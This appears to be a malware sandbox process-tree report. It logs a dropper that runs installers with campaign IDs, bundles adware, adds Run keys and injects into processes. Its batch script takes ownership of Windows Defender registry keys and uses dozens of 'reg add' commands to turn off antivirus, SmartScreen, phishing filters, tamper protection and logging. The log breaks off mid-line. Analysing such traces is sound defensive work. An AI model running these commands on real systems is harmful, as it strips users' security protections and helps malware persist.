"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.3.1922725569\1419977083" -childID 2 -isForBrowser -prefsHandle 3780 -prefMapHandle 3900 -prefsLen 26519 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {26ab12f6-eee3-4c68-acc7-b8d4374a83db} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 4108 2849ae64f58 tab
3⤵
PID:2708

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.5.309675584\1243998905" -childID 4 -isForBrowser -prefsHandle 4776 -prefMapHandle 4228 -prefsLen 26578 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4c32183b-827f-499f-b3fe-a73ce918727e} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 4816 284ae17ea58 tab
3⤵
PID:4440

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.6.1952180432\1608589539" -childID 5 -isForBrowser -prefsHandle 4784 -prefMapHandle 4932 -prefsLen 26578 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {376761f6-75d7-433c-a451-ec8707234345} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 5028 284ae180258 tab
3⤵
PID:556

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.4.2046551725\1983182092" -childID 3 -isForBrowser -prefsHandle 4720 -prefMapHandle 4716 -prefsLen 26578 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e8430dc-ceac-4d62-832f-e7da7f4b76e7} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 4792 284aab33158 tab
3⤵
PID:4400

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.7.1864064686\299874855" -childID 6 -isForBrowser -prefsHandle 5564 -prefMapHandle 5556 -prefsLen 26834 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b506fa4d-254d-4da0-bc7f-28c7c732b409} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 5572 284af1f3258 tab
3⤵
PID:2520

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.8.563238012\266704594" -childID 7 -isForBrowser -prefsHandle 4364 -prefMapHandle 5892 -prefsLen 27292 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3e27cf2f-f779-4bfc-bb52-9f1b25dda6f5} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 3064 284abe50758 tab
3⤵
PID:1584

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.9.1300406080\538359597" -childID 8 -isForBrowser -prefsHandle 6168 -prefMapHandle 6164 -prefsLen 27301 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {10f2d8a5-2248-46ae-b43b-cb087127ce27} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 6036 284ab456c58 tab
3⤵
PID:5488

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.10.1067422625\1425849210" -childID 9 -isForBrowser -prefsHandle 6216 -prefMapHandle 6284 -prefsLen 27301 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3ce5cd94-1065-46c2-94fb-932da9864ace} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 1400 2849ae5e258 tab
3⤵
PID:5820

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.11.24833413\983697748" -childID 10 -isForBrowser -prefsHandle 5480 -prefMapHandle 5080 -prefsLen 27310 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ac8ed4ba-7988-406e-9f22-2da161a2a40b} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 4812 284aa26fb58 tab
3⤵
PID:4476

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.12.1866899580\699685931" -childID 11 -isForBrowser -prefsHandle 5956 -prefMapHandle 6180 -prefsLen 27310 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c86c47d5-ed54-4bbf-9a61-db9f8b5f397b} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 5964 284aab66858 tab
3⤵
PID:4952

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.13.1703707208\1374686358" -childID 12 -isForBrowser -prefsHandle 6572 -prefMapHandle 6576 -prefsLen 27310 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4cb80f74-41d0-4d46-b7d9-8e4aab2c9cd7} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 6560 284ab457858 tab
3⤵
PID:3544

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.14.1655651339\1749317865" -childID 13 -isForBrowser -prefsHandle 5300 -prefMapHandle 5040 -prefsLen 30508 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {791ac7b7-8ed2-4fdd-b1d4-da97da0e761d} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 5164 2849ae69558 tab
3⤵
PID:5584

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.15.132719947\127423744" -childID 14 -isForBrowser -prefsHandle 6996 -prefMapHandle 7100 -prefsLen 30508 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7885f79d-bc3a-4b3b-a07b-f1584c3e69f0} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 6904 284abe51958 tab
3⤵
PID:2008

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.16.821465746\1890598299" -childID 15 -isForBrowser -prefsHandle 6388 -prefMapHandle 3028 -prefsLen 30517 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3e811c19-d4fc-4f9a-8c65-0400cbb00f03} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 6304 284ae082a58 tab
3⤵
PID:6108

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 488 -p 1768 -ip 1768
1⤵
PID:532

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1768 -s 1768
1⤵
- Program crash
PID:3288

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1784

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\c4285d31e8669ee5b08aa43ec05210c89ccd947c393dd1ba9cb8a074d8ab3841\" -spe -an -ai#7zMap12521:190:7zEvent262
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3720

C:\Users\Admin\Downloads\c4285d31e8669ee5b08aa43ec05210c89ccd947c393dd1ba9cb8a074d8ab3841\c4285d31e8669ee5b08aa43ec05210c89ccd947c393dd1ba9cb8a074d8ab3841.exe
"C:\Users\Admin\Downloads\c4285d31e8669ee5b08aa43ec05210c89ccd947c393dd1ba9cb8a074d8ab3841\c4285d31e8669ee5b08aa43ec05210c89ccd947c393dd1ba9cb8a074d8ab3841.exe"
1⤵
- Executes dropped EXE
PID:4544

C:\Users\Admin\AppData\Local\Temp\xxibt.exe
"C:\Users\Admin\AppData\Local\Temp\xxibt.exe" C:\Users\Admin\AppData\Local\Temp\kjiblw.pec
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:1404

C:\Users\Admin\AppData\Local\Temp\xxibt.exe
"C:\Users\Admin\AppData\Local\Temp\xxibt.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:1872

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4260

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\*\" -spe -an -ai#7zMap17501:566:7zEvent13065
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5432

C:\Users\Admin\Downloads\b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660\b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660.exe
"C:\Users\Admin\Downloads\b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660\b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660.exe"
1⤵
- Executes dropped EXE
PID:5952

C:\Users\Admin\AppData\Local\Temp\is-LI2JC.tmp\b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660.tmp
"C:\Users\Admin\AppData\Local\Temp\is-LI2JC.tmp\b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660.tmp" /SL5="$40434,922170,832512,C:\Users\Admin\Downloads\b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660\b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6008

C:\Users\Admin\AppData\Local\Temp\is-2CUP6.tmp\setup_0.exe
"C:\Users\Admin\AppData\Local\Temp\is-2CUP6.tmp\setup_0.exe" /euten SUB=2464
3⤵
- Checks computer location settings
- Executes dropped EXE
PID:4384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4384 -s 444
4⤵
- Program crash
PID:3176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4384 -s 772
4⤵
- Program crash
PID:5392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4384 -s 764
4⤵
- Program crash
PID:4020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4384 -s 772
4⤵
- Program crash
PID:3144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4384 -s 840
4⤵
- Program crash
PID:1548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4384 -s 932
4⤵
- Program crash
PID:3304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4384 -s 932
4⤵
- Program crash
PID:1268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4384 -s 1364
4⤵
- Program crash
PID:3620

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "setup_0.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\is-2CUP6.tmp\setup_0.exe" & exit
4⤵
PID:5732

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "setup_0.exe" /f
5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4384 -s 492
4⤵
- Program crash
PID:876

C:\Users\Admin\AppData\Local\Temp\is-2CUP6.tmp\setup_1.exe
"C:\Users\Admin\AppData\Local\Temp\is-2CUP6.tmp\setup_1.exe" /qn CAMPAIGN="2464"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:6080

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" /qn CAMPAIGN=2464 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-2CUP6.tmp\setup_1.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-2CUP6.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1680625497 /qn CAMPAIGN=""2464"" " CAMPAIGN="2464"
4⤵
PID:3356

C:\Users\Admin\AppData\Local\Temp\is-2CUP6.tmp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\is-2CUP6.tmp\setup_2.exe" --silent --partner=IT210801
3⤵
- Executes dropped EXE
PID:1548

C:\Users\Admin\AppData\Local\Temp\7zSC0609BCA\WebCompanionInstaller.exe
.\WebCompanionInstaller.exe --partner=IT210801 --version=8.9.0.371 --silent --partner=IT210801
4⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:5872

C:\Windows\SysWOW64\sc.exe
"sc.exe" Create "WCAssistantService" binPath= "C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe" DisplayName= "WC Assistant" start= auto
5⤵
- Launches sc.exe
PID:5196

C:\Windows\SysWOW64\sc.exe
"sc.exe" failure WCAssistantService reset= 30 actions= restart/60000
5⤵
- Launches sc.exe
PID:3412

C:\Windows\SysWOW64\sc.exe
"sc.exe" description "WCAssistantService" "Ad-Aware Web Companion Internet security service"
5⤵
- Launches sc.exe
PID:5208

C:\Windows\system32\RunDLL32.Exe
"C:\Windows\sysnative\RunDLL32.Exe" syssetup,SetupInfObjectInstallAction BootInstall 128 C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\bddci.inf
5⤵
- Drops file in Drivers directory
- Adds Run key to start application
PID:4348

C:\Windows\system32\runonce.exe
"C:\Windows\system32\runonce.exe" -r
6⤵
- Checks processor information in registry
PID:4024

C:\Windows\System32\grpconv.exe
"C:\Windows\System32\grpconv.exe" -o
7⤵
PID:924

C:\Windows\system32\net.exe
"C:\Windows\sysnative\net.exe" start bddci
5⤵
PID:5796

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start bddci
6⤵
PID:6136

C:\Windows\SysWOW64\sc.exe
"sc.exe" Create "DCIService" binPath= "C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe" DisplayName= "DCIService" start= auto
5⤵
- Launches sc.exe
PID:5624

C:\Windows\SysWOW64\sc.exe
"sc.exe" description "DCIService" "Webprotection Bridge service"
5⤵
- Launches sc.exe
PID:4512

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\bridge_start.cmd"
5⤵
PID:5484

C:\Windows\SysWOW64\sc.exe
sc start DCIService
6⤵
- Launches sc.exe
PID:740

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C netsh http add urlacl url=http://+:9007/ user=Everyone
5⤵
PID:1112

C:\Windows\SysWOW64\netsh.exe
netsh http add urlacl url=http://+:9007/ user=Everyone
6⤵
PID:5716

C:\Program Files (x86)\Lavasoft\Web Companion\Application\WebCompanion.exe
"C:\Program Files (x86)\Lavasoft\Web Companion\Application\WebCompanion.exe" --silent --install --geo=
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Windows directory
PID:4840

C:\Program Files (x86)\Lavasoft\Web Companion\Application\WebCompanion.exe
"C:\Program Files (x86)\Lavasoft\Web Companion\Application\WebCompanion.exe" --silent --afterinstall
5⤵
- Executes dropped EXE
PID:2508

C:\Users\Admin\AppData\Local\Temp\is-2CUP6.tmp\setup_3.exe
"C:\Users\Admin\AppData\Local\Temp\is-2CUP6.tmp\setup_3.exe" 992464
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1280

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\do32.bat
4⤵
PID:5308

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL32.exe
SetACL32 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
5⤵
PID:5836

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL32.exe
SetACL32 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
5⤵
PID:2716

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL32.exe
SetACL32 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
5⤵
- Executes dropped EXE
PID:4876

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL32.exe
SetACL32 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
5⤵
- Executes dropped EXE
PID:5564

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL32.exe
SetACL32 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
5⤵
- Executes dropped EXE
PID:1864

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL32.exe
SetACL32 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
5⤵
PID:2456

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL32.exe
SetACL32 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
5⤵
PID:3208

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SetACL32.exe
SetACL32 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
5⤵
PID:3012

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
5⤵
PID:528

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
5⤵
PID:3512

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
5⤵
PID:5076

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
5⤵
PID:3716

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
5⤵
PID:1548

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
5⤵
PID:1496

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
5⤵
PID:3572

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
5⤵
PID:5880

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
5⤵
PID:5892

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
5⤵
PID:1044

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
5⤵
PID:4320

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
5⤵
PID:5836

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
5⤵
PID:5900

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
5⤵
PID:984

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
5⤵
PID:5484

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
5⤵
PID:5360

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
5⤵
PID:5088

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
5⤵
PID:3972

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
5⤵
PID:1272

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
5⤵
PID:5784

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
5⤵
PID:3524

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
5⤵
PID:3548

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
5⤵
PID:528

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
5⤵
PID:3868

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
5⤵
PID:6052

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
5⤵
PID:6076

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
5⤵
PID:5328

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t reg_DWORD /d "0" /f
5⤵
PID:5732

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
5⤵
PID:1496

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
5⤵
PID:5896

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "LocalSettingOverridePurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
5⤵
PID:1336

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t reg_DWORD /d "1" /f
5⤵
PID:5644

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t reg_DWORD /d "1" /f
5⤵
PID:3820

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t reg_DWORD /d "1" /f
5⤵
PID:1348

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t reg_DWORD /d "1" /f
5⤵
PID:3304

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t reg_DWORD /d "1" /f
5⤵
PID:3292

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t reg_DWORD /d "1" /f
5⤵
PID:3016

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t reg_DWORD /d "1" /f
5⤵
- Modifies Windows Defender Real-time Protection settings
PID:2976

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleDay" /t reg_DWORD /d "8" /f
5⤵
PID:2456

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "AdditionalActionTimeOut" /t reg_DWORD /d 0 /f
5⤵
PID:5672

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleTime" /t reg_DWORD /d 0 /f
5⤵
PID:1396

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f
5⤵
PID:3176

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f
5⤵
PID:5768

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f
5⤵
PID:1296

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f
5⤵
PID:5408

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f
5⤵
PID:5772

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
5⤵
PID:6096

C:\Windows\SysWOW64\reg.exe
